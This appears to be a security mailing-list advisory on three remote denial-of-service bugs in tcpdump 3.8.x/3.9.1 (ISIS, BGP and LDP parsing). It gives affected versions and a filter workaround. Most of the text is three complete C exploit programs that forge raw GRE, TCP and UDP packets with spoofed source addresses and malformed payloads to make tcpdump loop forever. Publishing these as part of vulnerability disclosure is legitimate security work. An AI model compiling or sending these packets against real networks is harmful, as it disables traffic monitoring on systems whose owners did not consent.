(everything is now patched in CVS-current, including the ISIS bug) infinite loop DOS bugs in tcpdump: (ISIS) isis_print() infinite loop DOS. (BGP) RT_ROUTING_INFO infinite loop DOS. (LDP) ldp_print() infinite loop DOS. the ISIS bug is in 3.8.x/3.9.1/CVS. (did not check below 3.8.x) the BGP and LDP bugs seem to be only in 3.8.x. (did not check below 3.8.x) workaround: # tcpdump dst port not 179 and dst port not 646 and ip proto not gre (NOTE: this does not FULLY work-around the isis_print() bug, but it does work-around the provided DOS exploit) original DOS exploit reference: http://fakehalo.us/xtcpdump-isis-dos.c http://fakehalo.us/xtcpdump-bgp-dos.c http://fakehalo.us/xtcpdump-ldp-dos.c ------------------- exploit: xtcpdump-isis-dos.c ------------------- /*[ tcpdump[3.8.x/3.9.1]: (ISIS) isis_print() infinite loop DOS. ]* * * * by: vade79/v9 v9@xxxxxxxxxxx (fakehalo/realhalo) * * * * compile: * * gcc xtcpdump-isis-dos.c -o xtcpdump-isis-dos * * * * tcpdump homepage/URL: * * http://www.tcpdump.org * * * * Tcpdump is a program that allows you to dump the traffic on a * * network. It can be used to print out the headers of packets on * * a network interface that matches a given expression. You can * * use this tool to track down network problems, to detect "ping * * attacks" or to monitor the network activities. * * * * tcpdump(v3.9.1 and earlier versions) contains a remote denial * * of service vulnerability in the form of a single (GRE) packet * * causing an infinite loop. the packet doesnt actually have to * * be an GRE packet, as the function is used in isoclns_print() * * which is used many places by tcpdump, however i went with GRE * * because it was the first one that popped up. * * * * as this bug doesn't appear to be fixed in the new(3.9.x/CVS) * * versions i'll elaborate on the problem. the bug lies in * * isis_print()(called by isoclns_print()) in the * * TLV_ISNEIGH_VARLEN portion of the code, be providing a zero * * length causing an infinite loop. * * * * some versions of tcpdump(depending on the platform/OS) need no * * special command-line arguments to allow this to happen, * * however most need the "-v" argument. * ******************************************************************/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h> #include <time.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #ifdef _USE_ARPA #include <arpa/inet.h> #endif /* doesn't seem to be standardized, so... */ #if defined(__BYTE_ORDER) && !defined(BYTE_ORDER) #define BYTE_ORDER __BYTE_ORDER #endif #if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN) #define BIG_ENDIAN __BIG_ENDIAN #endif #if defined(BYTE_ORDER) && defined(BIG_ENDIAN) #if BYTE_ORDER == BIG_ENDIAN #define _USE_BIG_ENDIAN #endif #endif #define DFL_AMOUNT 5 /* avoid platform-specific header madness. */ /* (just plucked out of header files) */ struct iph{ #ifdef _USE_BIG_ENDIAN unsigned char version:4,ihl:4; #else unsigned char ihl:4,version:4; #endif unsigned char tos; unsigned short tot_len; unsigned short id; unsigned short frag_off; unsigned char ttl; unsigned char protocol; unsigned short check; unsigned int saddr; unsigned int daddr; }; struct greh{ #ifdef _USE_BIG_ENDIAN u_int8_t check:1,routing:1,key:1,seq:1,strict:1,recur:3; u_int8_t flags:5,version:3; #else u_int8_t recur:3,strict:1,seq:1,key:1,routing:1,check:1; u_int8_t version:3,flags:5; #endif u_int16_t protocol; }; struct sumh{ unsigned int saddr; unsigned int daddr; unsigned char fill; unsigned char protocol; unsigned short len; }; /* malformed ISIS data. (the bug) */ static char payload[]= "\x83\x1b\x01\x06\x12\x01\xff\x07\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\x01\x07\x00\x00"; /* prototypes. (and sig_alarm) */ void gre_spoof(unsigned int,unsigned int); unsigned short in_cksum(unsigned short *,signed int); unsigned int getip(char *); void printe(char *,signed char); void sig_alarm(){printe("alarm/timeout hit.",1);} /* begin. */ int main(int argc,char **argv) { unsigned char nospoof=0; unsigned int amt=DFL_AMOUNT; unsigned int daddr=0,saddr=0; printf("[*] tcpdump[3.8.x/3.9.1]: (ISIS) isis_print() infinite loop " "DOS.\n[*] by: vade79/v9 v9@xxxxxxxxxxx (fakehalo/realhalo)\n\n"); if(argc<2){ printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n", argv[0]); exit(1); } if(!(daddr=getip(argv[1]))) printe("invalid destination host/ip.",1); if(argc>2)saddr=getip(argv[2]); if(argc>3)amt=atoi(argv[3]); if(!amt)printe("no packets?",1); printf("[*] destination\t: %s\n",argv[1]); if(!nospoof) printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>")); printf("[*] amount\t: %u\n\n",amt); printf("[+] sending(packet = .): "); fflush(stdout); while(amt--){ /* spice things up. */ srandom(time(0)+amt); gre_spoof(daddr,saddr); printf("."); fflush(stdout); usleep(50000); } printf("\n\n[*] done.\n"); fflush(stdout); exit(0); } /* (spoofed) generates and sends a (GRE) ip packet. */ void gre_spoof(unsigned int daddr,unsigned int saddr){ signed int sock=0,on=1; unsigned int psize=0; char *p,*s; struct sockaddr_in sa; struct iph ip; struct greh gre; struct sumh sum; /* create raw (GRE) socket. */ if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_GRE))<0) printe("could not allocate raw socket.",1); /* allow (on some systems) for the user-supplied ip header. */ #ifdef IP_HDRINCL if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))) printe("could not set IP_HDRINCL socket option.",1); #endif sa.sin_family=AF_INET; sa.sin_addr.s_addr=daddr; psize=(sizeof(struct iph)+sizeof(struct greh)+sizeof(payload)-1); memset(&ip,0,sizeof(struct iph)); memset(&gre,0,sizeof(struct greh)); /* values not filled = 0, from the memset() above. */ ip.ihl=5; ip.version=4; ip.tot_len=htons(psize); ip.saddr=(saddr?saddr:random()%0xffffffff); ip.daddr=daddr; ip.ttl=(64*(random()%2+1)); ip.protocol=IPPROTO_GRE; ip.frag_off=64; /* OSI. (to isoclns_print(), then to isis_print()) */ gre.protocol=htons(254); /* needed for the ip checksum. */ sum.saddr=ip.saddr; sum.daddr=ip.daddr; sum.fill=0; sum.protocol=ip.protocol; sum.len=htons(sizeof(struct greh)+sizeof(payload)-1); /* make sum/calc buffer for the ip checksum. (correct) */ if(!(s=(char *)malloc(sizeof(struct iph)+1))) printe("malloc() failed.",1); memset(s,0,(sizeof(struct iph)+1)); memcpy(s,&ip,sizeof(struct iph)); ip.check=in_cksum((unsigned short *)s,sizeof(struct iph)); free(s); /* put the packet together. */ if(!(p=(char *)malloc(psize+1))) printe("malloc() failed.",1); memset(p,0,psize); memcpy(p,&ip,sizeof(struct iph)); memcpy(p+sizeof(struct iph),&gre,sizeof(struct greh)); memcpy(p+(sizeof(struct iph)+sizeof(struct greh)), payload,sizeof(payload)); /* send the malformed (GRE) packet. (ISIS data) */ if(sendto(sock,p,psize,0,(struct sockaddr *)&sa, sizeof(struct sockaddr))<psize) printe("failed to send forged GRE packet.",1); free(p); return; } /* standard method for creating TCP/IP checksums. */ unsigned short in_cksum(unsigned short *addr,signed int len){ unsigned short answer=0; register unsigned short *w=addr; register int nleft=len,sum=0; while(nleft>1){ sum+=*w++; nleft-=2; } if(nleft==1){ *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } /* gets the ip from a host/ip/numeric. */ unsigned int getip(char *host){ struct hostent *t; unsigned int s=0; if((s=inet_addr(host))){ if((t=gethostbyname(host))) memcpy((char *)&s,(char *)t->h_addr,sizeof(s)); } if(s==-1)s=0; return(s); } /* all-purpose error/exit function. */ void printe(char *err,signed char e){ printf("[!] %s\n",err); if(e)exit(e); return; } ------------------- exploit: xtcpdump-bgp-dos.c ------------------- /*[ tcpdump[3.8.x]: (BGP) RT_ROUTING_INFO infinite loop DOS. ]***** * * * by: vade79/v9 v9@xxxxxxxxxxx (fakehalo/realhalo) * * * * compile: * * gcc xtcpdump-bgp-dos.c -o xtcpdump-bgp-dos * * gcc xtcpdump-bgp-dos.c -o xtcpdump-bgp-dos -D_USE_SYN * * * * tcpdump homepage/URL: * * http://www.tcpdump.org * * * * fix: * * this appears to have been fixed in the alpha 3.9.x / CVS * * versions. although i found no direct mention of the issue * * itself being resolved, the code has been changed in a way to * * not allow this to happen. * * * * Tcpdump is a program that allows you to dump the traffic on a * * network. It can be used to print out the headers of packets on * * a network interface that matches a given expression. You can * * use this tool to track down network problems, to detect "ping * * attacks" or to monitor the network activities. * * * * tcpdump(v3.8.3 and earlier versions) contains a remote denial * * of service vulnerability in the form of a single (BGP) packet * * causing an infinite loop. * * * * BGP is TCP, however the victim does not have to have the BGP * * port(179) open to abuse the bug. by sending a specially * * crafted (spoofed) TCP(ACK,PUSH) packet to port 179 you can * * trigger the infinite loop, however it depends on if the packet * * can make it out without being dropped. in some situations the * * source host/ip used must be within your local subnet(or your * * actual ip) for the (spoofed) packet to make it past your own * * router. if for some reason you think a (invalid) TCP(SYN) * * packet is more likely to make it out, compile with the * * -D_USE_SYN flag. (tcpdump will parse the BGP data even if it * * is a TCP(SYN) packet) * * * * some versions of tcpdump(depending on the platform/OS) need no * * special command-line arguments to allow this to happen. * * however most need the "-v" argument, and a some need the * * "-s" (snaplen) set to 88(non-spoofed is around 100, with the * * ip options) or more. * ******************************************************************/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h> #include <time.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #ifdef _USE_ARPA #include <arpa/inet.h> #endif /* doesn't seem to be standardized, so... */ #if defined(__BYTE_ORDER) && !defined(BYTE_ORDER) #define BYTE_ORDER __BYTE_ORDER #endif #if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN) #define BIG_ENDIAN __BIG_ENDIAN #endif #if defined(BYTE_ORDER) && defined(BIG_ENDIAN) #if BYTE_ORDER == BIG_ENDIAN #define _USE_BIG_ENDIAN #endif #endif /* will never need to be changed. */ #define BGP_PORT 179 #define DFL_AMOUNT 5 #define TIMEOUT 10 /* avoid platform-specific header madness. */ /* (just plucked out of header files) */ struct iph{ #ifdef _USE_BIG_ENDIAN unsigned char version:4,ihl:4; #else unsigned char ihl:4,version:4; #endif unsigned char tos; unsigned short tot_len; unsigned short id; unsigned short frag_off; unsigned char ttl; unsigned char protocol; unsigned short check; unsigned int saddr; unsigned int daddr; }; struct tcph{ unsigned short source; unsigned short dest; unsigned int seq; unsigned int ack_seq; #ifdef _USE_BIG_ENDIAN unsigned short doff:4,res1:4,cwr:1,ece:1, urg:1,ack:1,psh:1,rst:1,syn:1,fin:1; #else unsigned short res1:4,doff:4,fin:1,syn:1, rst:1,psh:1,ack:1,urg:1,ece:1,cwr:1; #endif unsigned short window; unsigned short check; unsigned short urg_ptr; }; struct sumh{ unsigned int saddr; unsigned int daddr; unsigned char fill; unsigned char protocol; unsigned short len; }; /* malformed BGP data. (the bug) */ static char payload[]= /* shortened method. (34 bytes) */ "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\x00\x13\x02\x00" "\x01\x00\xff\x00\xff\x0e\x00\xff\x00\x01" "\x84\x00\x00\x00"; /* original method, un-comment/swap if desired. (39 bytes) */ /* "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" */ /* "\xff\xff\xff\xff\xff\xff\x00\x13\x02\x00" */ /* "\x01\x00\xff\x00\xff\x0e\x00\xff\x00\x01" */ /* "\x84\x00\x00\x20\x00\x00\x00\x00\x00"; */ /* prototypes. (and sig_alarm) */ void bgp_connect(unsigned int); void bgp_inject(unsigned int,unsigned int); unsigned short in_cksum(unsigned short *,signed int); unsigned int getip(char *); void printe(char *,signed char); void sig_alarm(){printe("alarm/timeout hit.",1);} /* begin. */ int main(int argc,char **argv) { unsigned char nospoof=0; unsigned int amt=DFL_AMOUNT; unsigned int daddr=0,saddr=0; printf("[*] tcpdump[3.8.x]: (BGP) RT_ROUTING_INFO infinite loop " "DOS.\n[*] by: vade79/v9 v9@xxxxxxxxxxx (fakehalo/realhalo)\n\n"); if(argc<2){ printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n", argv[0]); printf("[*] syntax: %s <dst host> nospoof\n",argv[0]); exit(1); } if(!(daddr=getip(argv[1]))) printe("invalid destination host/ip.",1); if(argc>2){ if(strstr(argv[2],"nospoof"))nospoof=1; else saddr=getip(argv[2]); } if(argc>3)amt=atoi(argv[3]); if(nospoof){ printf("[*] target: %s\n",argv[1]); bgp_connect(daddr); printf("[*] done.\n"); } else{ if(!amt)printe("no packets?",1); printf("[*] destination\t: %s\n",argv[1]); printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>")); printf("[*] amount\t: %u\n\n",amt); printf("[+] sending(packet = .): "); fflush(stdout); while(amt--){ /* spice things up. */ srandom(time(0)+amt); bgp_inject(daddr,saddr); printf("."); fflush(stdout); usleep(50000); } printf("\n\n[*] done.\n"); } fflush(stdout); exit(0); } /* (non-spoofed) generic connection. (port 179 on the */ /* victim has to be open for this to work) */ void bgp_connect(unsigned int daddr){ signed int sock; struct sockaddr_in s; sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s.sin_family=AF_INET; s.sin_port=htons(BGP_PORT); s.sin_addr.s_addr=daddr; printf("[*] attempting to connect...\n"); signal(SIGALRM,sig_alarm); alarm(TIMEOUT); if(connect(sock,(struct sockaddr *)&s,sizeof(s))) printe("(non-spoofed) BGP connection failed.",1); alarm(0); printf("[*] successfully connected.\n"); printf("[*] sending malformed BGP data. (%u bytes)\n", sizeof(payload)-1); usleep(500000); write(sock,payload,sizeof(payload)); usleep(500000); printf("[*] closing connection.\n\n"); close(sock); return; } /* (spoofed) generates and sends an unestablished (BGP) */ /* TCP(ACK,PUSH) or TCP(SYN) packet. */ void bgp_inject(unsigned int daddr,unsigned int saddr){ signed int sock=0,on=1; unsigned int psize=0; char *p,*s; struct sockaddr_in sa; struct iph ip; struct tcph tcp; struct sumh sum; /* create raw (TCP) socket. */ if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0) printe("could not allocate raw socket.",1); /* allow (on some systems) for the user-supplied ip header. */ #ifdef IP_HDRINCL if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))) printe("could not set IP_HDRINCL socket option.",1); #endif sa.sin_family=AF_INET; sa.sin_port=htons(BGP_PORT); sa.sin_addr.s_addr=daddr; psize=(sizeof(struct iph)+sizeof(struct tcph)+sizeof(payload)-1); memset(&ip,0,sizeof(struct iph)); memset(&tcp,0,sizeof(struct tcph)); /* values not filled = 0, from the memset() above. */ ip.ihl=5; ip.version=4; ip.tot_len=htons(psize); ip.id=(random()%65535); ip.saddr=(saddr?saddr:random()%0xffffffff); ip.daddr=daddr; ip.ttl=(64*(random()%2+1)); ip.protocol=IPPROTO_TCP; ip.frag_off=64; tcp.seq=(random()%0xffffffff+1); tcp.source=htons(random()%60000+1025); tcp.dest=sa.sin_port; /* passing BGP data as ip options for the syn packet method */ /* doesn't work as tcpdump doesnt process it as BGP data. */ tcp.doff=5; #ifdef _USE_SYN tcp.syn=1; tcp.window=htons(65535); #else tcp.ack=1; tcp.psh=1; tcp.ack_seq=(random()%0xffffffff+1); tcp.window=htons(4096*(random()%2+1)); #endif /* needed for (correct) checksums. */ sum.saddr=ip.saddr; sum.daddr=ip.daddr; sum.fill=0; sum.protocol=ip.protocol; sum.len=htons(sizeof(struct tcph)+sizeof(payload)-1); /* make sum/calc buffer for the tcp checksum. (correct) */ if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct tcph) +sizeof(payload)+1))) printe("malloc() failed.",1); memset(s,0,(sizeof(struct sumh)+sizeof(struct tcph) +sizeof(payload)+1)); memcpy(s,&sum,sizeof(struct sumh)); memcpy(s+sizeof(struct sumh),&tcp,sizeof(struct tcph)); memcpy(s+sizeof(struct sumh)+sizeof(struct tcph), payload,sizeof(payload)-1); tcp.check=in_cksum((unsigned short *)s, sizeof(struct sumh)+sizeof(struct tcph)+sizeof(payload)-1); free(s); /* make sum/calc buffer for the ip checksum. (correct) */ if(!(s=(char *)malloc(sizeof(struct iph)+1))) printe("malloc() failed.",1); memset(s,0,(sizeof(struct iph)+1)); memcpy(s,&ip,sizeof(struct iph)); ip.check=in_cksum((unsigned short *)s,sizeof(struct iph)); free(s); /* put the packet together. */ if(!(p=(char *)malloc(psize+1))) printe("malloc() failed.",1); memset(p,0,psize); memcpy(p,&ip,sizeof(struct iph)); memcpy(p+sizeof(struct iph),&tcp,sizeof(struct tcph)); memcpy(p+(sizeof(struct iph)+sizeof(struct tcph)), payload,sizeof(payload)); /* send the malformed BGP packet. */ if(sendto(sock,p,psize,0,(struct sockaddr *)&sa, sizeof(struct sockaddr))<psize) printe("failed to send forged BGP packet.",1); free(p); return; } /* standard method for creating TCP/IP checksums. */ unsigned short in_cksum(unsigned short *addr,signed int len){ unsigned short answer=0; register unsigned short *w=addr; register int nleft=len,sum=0; while(nleft>1){ sum+=*w++; nleft-=2; } if(nleft==1){ *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } /* gets the ip from a host/ip/numeric. */ unsigned int getip(char *host){ struct hostent *t; unsigned int s=0; if((s=inet_addr(host))){ if((t=gethostbyname(host))) memcpy((char *)&s,(char *)t->h_addr,sizeof(s)); } if(s==-1)s=0; return(s); } /* all-purpose error/exit function. */ void printe(char *err,signed char e){ printf("[!] %s\n",err); if(e)exit(e); return; } ------------------- exploit: xtcpdump-ldp-dos.c ------------------- /*[ tcpdump[3.8.x]: (LDP) ldp_print() infinite loop DOS. ]********* * * * by: vade79/v9 v9@xxxxxxxxxxx (fakehalo/realhalo) * * * * compile: * * gcc xtcpdump-ldp-dos.c -o xtcpdump-ldp-dos * * * * tcpdump homepage/URL: * * http://www.tcpdump.org * * * * fix: * * this appears to have been fixed in the alpha 3.9.x / CVS * * versions. although i found no direct mention of the issue * * itself being resolved, the code has been changed in a way to * * not allow this to happen. * * * * Tcpdump is a program that allows you to dump the traffic on a * * network. It can be used to print out the headers of packets on * * a network interface that matches a given expression. You can * * use this tool to track down network problems, to detect "ping * * attacks" or to monitor the network activities. * * * * tcpdump(v3.8.3 and earlier versions) contains a remote denial * * of service vulnerability in the form of a single (LDP) packet * * causing an infinite loop. * * * * LDP is UDP(/TCP), so no LDP service has to actually be running * * to abuse this issue, spoofed or not spoofed. depending on the * * path the packet takes spoofed packets may be dropped(dropped * * at your router most likely), in such a case non-spoofed * * packets have the same effect, they just show your ip. * * * * some versions of tcpdump(depending on the platform/OS) need no * * special command-line arguments to allow this to happen, * * however most need the "-v" argument. * ******************************************************************/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h> #include <time.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #ifdef _USE_ARPA #include <arpa/inet.h> #endif /* doesn't seem to be standardized, so... */ #if defined(__BYTE_ORDER) && !defined(BYTE_ORDER) #define BYTE_ORDER __BYTE_ORDER #endif #if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN) #define BIG_ENDIAN __BIG_ENDIAN #endif #if defined(BYTE_ORDER) && defined(BIG_ENDIAN) #if BYTE_ORDER == BIG_ENDIAN #define _USE_BIG_ENDIAN #endif #endif /* will never need to be changed. */ #define LDP_PORT 646 #define DFL_AMOUNT 5 #define TIMEOUT 10 /* avoid platform-specific header madness. */ /* (just plucked out of header files) */ struct iph{ #ifdef _USE_BIG_ENDIAN unsigned char version:4,ihl:4; #else unsigned char ihl:4,version:4; #endif unsigned char tos; unsigned short tot_len; unsigned short id; unsigned short frag_off; unsigned char ttl; unsigned char protocol; unsigned short check; unsigned int saddr; unsigned int daddr; }; struct udph{ unsigned short source; unsigned short dest; unsigned short len; unsigned short check; }; struct sumh{ unsigned int saddr; unsigned int daddr; unsigned char fill; unsigned char protocol; unsigned short len; }; /* malformed LDP data. (the bug) */ static char payload[]= "\x00\x01\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\x00\x00\xff\xff\xff\xff"; /* prototypes. (and sig_alarm) */ void ldp_nospoof(unsigned int); void ldp_spoof(unsigned int,unsigned int); unsigned short in_cksum(unsigned short *,signed int); unsigned int getip(char *); void printe(char *,signed char); void sig_alarm(){printe("alarm/timeout hit.",1);} /* begin. */ int main(int argc,char **argv) { unsigned char nospoof=0; unsigned int amt=DFL_AMOUNT; unsigned int daddr=0,saddr=0; printf("[*] tcpdump[3.8.x]: (LDP) ldp_print() infinite loop DOS." "\n[*] by: vade79/v9 v9@xxxxxxxxxxx (fakehalo/realhalo)\n\n"); if(argc<2){ printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n", argv[0]); printf("[*] syntax: %s <dst host> nospoof\n",argv[0]); exit(1); } if(!(daddr=getip(argv[1]))) printe("invalid destination host/ip.",1); if(argc>2){ if(strstr(argv[2],"nospoof"))nospoof=1; else saddr=getip(argv[2]); } if(argc>3)amt=atoi(argv[3]); if(!amt)printe("no packets?",1); printf("[*] destination\t: %s\n",argv[1]); if(!nospoof) printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>")); printf("[*] amount\t: %u\n\n",amt); printf("[+] sending(packet = .): "); fflush(stdout); while(amt--){ /* spice things up. */ srandom(time(0)+amt); if(nospoof)ldp_nospoof(daddr); else ldp_spoof(daddr,saddr); printf("."); fflush(stdout); usleep(50000); } printf("\n\n[*] done.\n"); fflush(stdout); exit(0); } /* (non-spoofed) sends a (LDP) udp packet. */ void ldp_nospoof(unsigned int daddr){ signed int sock; struct sockaddr_in sa; sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); sa.sin_family=AF_INET; sa.sin_port=htons(LDP_PORT); sa.sin_addr.s_addr=daddr; if(sendto(sock,payload,sizeof(payload)-1,0,(struct sockaddr *)&sa, sizeof(struct sockaddr))<sizeof(payload)-1) printe("failed to send non-spoofed LDP packet.",1); close(sock); return; } /* (spoofed) generates and sends a (LDP) udp packet. */ void ldp_spoof(unsigned int daddr,unsigned int saddr){ signed int sock=0,on=1; unsigned int psize=0; char *p,*s; struct sockaddr_in sa; struct iph ip; struct udph udp; struct sumh sum; /* create raw (UDP) socket. */ if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_UDP))<0) printe("could not allocate raw socket.",1); /* allow (on some systems) for the user-supplied ip header. */ #ifdef IP_HDRINCL if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))) printe("could not set IP_HDRINCL socket option.",1); #endif sa.sin_family=AF_INET; sa.sin_port=htons(LDP_PORT); sa.sin_addr.s_addr=daddr; psize=(sizeof(struct iph)+sizeof(struct udph)+sizeof(payload)-1); memset(&ip,0,sizeof(struct iph)); memset(&udp,0,sizeof(struct udph)); /* values not filled = 0, from the memset() above. */ ip.ihl=5; ip.version=4; ip.tot_len=htons(psize); ip.saddr=(saddr?saddr:random()%0xffffffff); ip.daddr=daddr; ip.ttl=(64*(random()%2+1)); ip.protocol=IPPROTO_UDP; ip.frag_off=64; udp.source=htons(random()%60000+1025); udp.dest=htons(LDP_PORT); udp.len=htons(sizeof(struct udph)+sizeof(payload)-1); /* needed for (correct) checksums. */ sum.saddr=ip.saddr; sum.daddr=ip.daddr; sum.fill=0; sum.protocol=ip.protocol; sum.len=htons(sizeof(struct udph)+sizeof(payload)-1); /* make sum/calc buffer for the udp checksum. (correct) */ if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct udph) +sizeof(payload)+1))) printe("malloc() failed.",1); memset(s,0,(sizeof(struct sumh)+sizeof(struct udph) +sizeof(payload)+1)); memcpy(s,&sum,sizeof(struct sumh)); memcpy(s+sizeof(struct sumh),&udp,sizeof(struct udph)); memcpy(s+sizeof(struct sumh)+sizeof(struct udph), payload,sizeof(payload)-1); udp.check=in_cksum((unsigned short *)s, sizeof(struct sumh)+sizeof(struct udph)+sizeof(payload)-1); free(s); /* make sum/calc buffer for the ip checksum. (correct) */ if(!(s=(char *)malloc(sizeof(struct iph)+1))) printe("malloc() failed.",1); memset(s,0,(sizeof(struct iph)+1)); memcpy(s,&ip,sizeof(struct iph)); ip.check=in_cksum((unsigned short *)s,sizeof(struct iph)); free(s); /* put the packet together. */ if(!(p=(char *)malloc(psize+1))) printe("malloc() failed.",1); memset(p,0,psize); memcpy(p,&ip,sizeof(struct iph)); memcpy(p+sizeof(struct iph),&udp,sizeof(struct udph)); memcpy(p+(sizeof(struct iph)+sizeof(struct udph)), payload,sizeof(payload)); /* send the malformed LDP packet. */ if(sendto(sock,p,psize,0,(struct sockaddr *)&sa, sizeof(struct sockaddr))<psize) printe("failed to send forged LDP packet.",1); free(p); return; } /* standard method for creating TCP/IP checksums. */ unsigned short in_cksum(unsigned short *addr,signed int len){ unsigned short answer=0; register unsigned short *w=addr; register int nleft=len,sum=0; while(nleft>1){ sum+=*w++; nleft-=2; } if(nleft==1){ *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); } /* gets the ip from a host/ip/numeric. */ unsigned int getip(char *host){ struct hostent *t; unsigned int s=0; if((s=inet_addr(host))){ if((t=gethostbyname(host))) memcpy((char *)&s,(char *)t->h_addr,sizeof(s)); } if(s==-1)s=0; return(s); } /* all-purpose error/exit function. */ void printe(char *err,signed char e){ printf("[!] %s\n",err); if(e)exit(e); return; }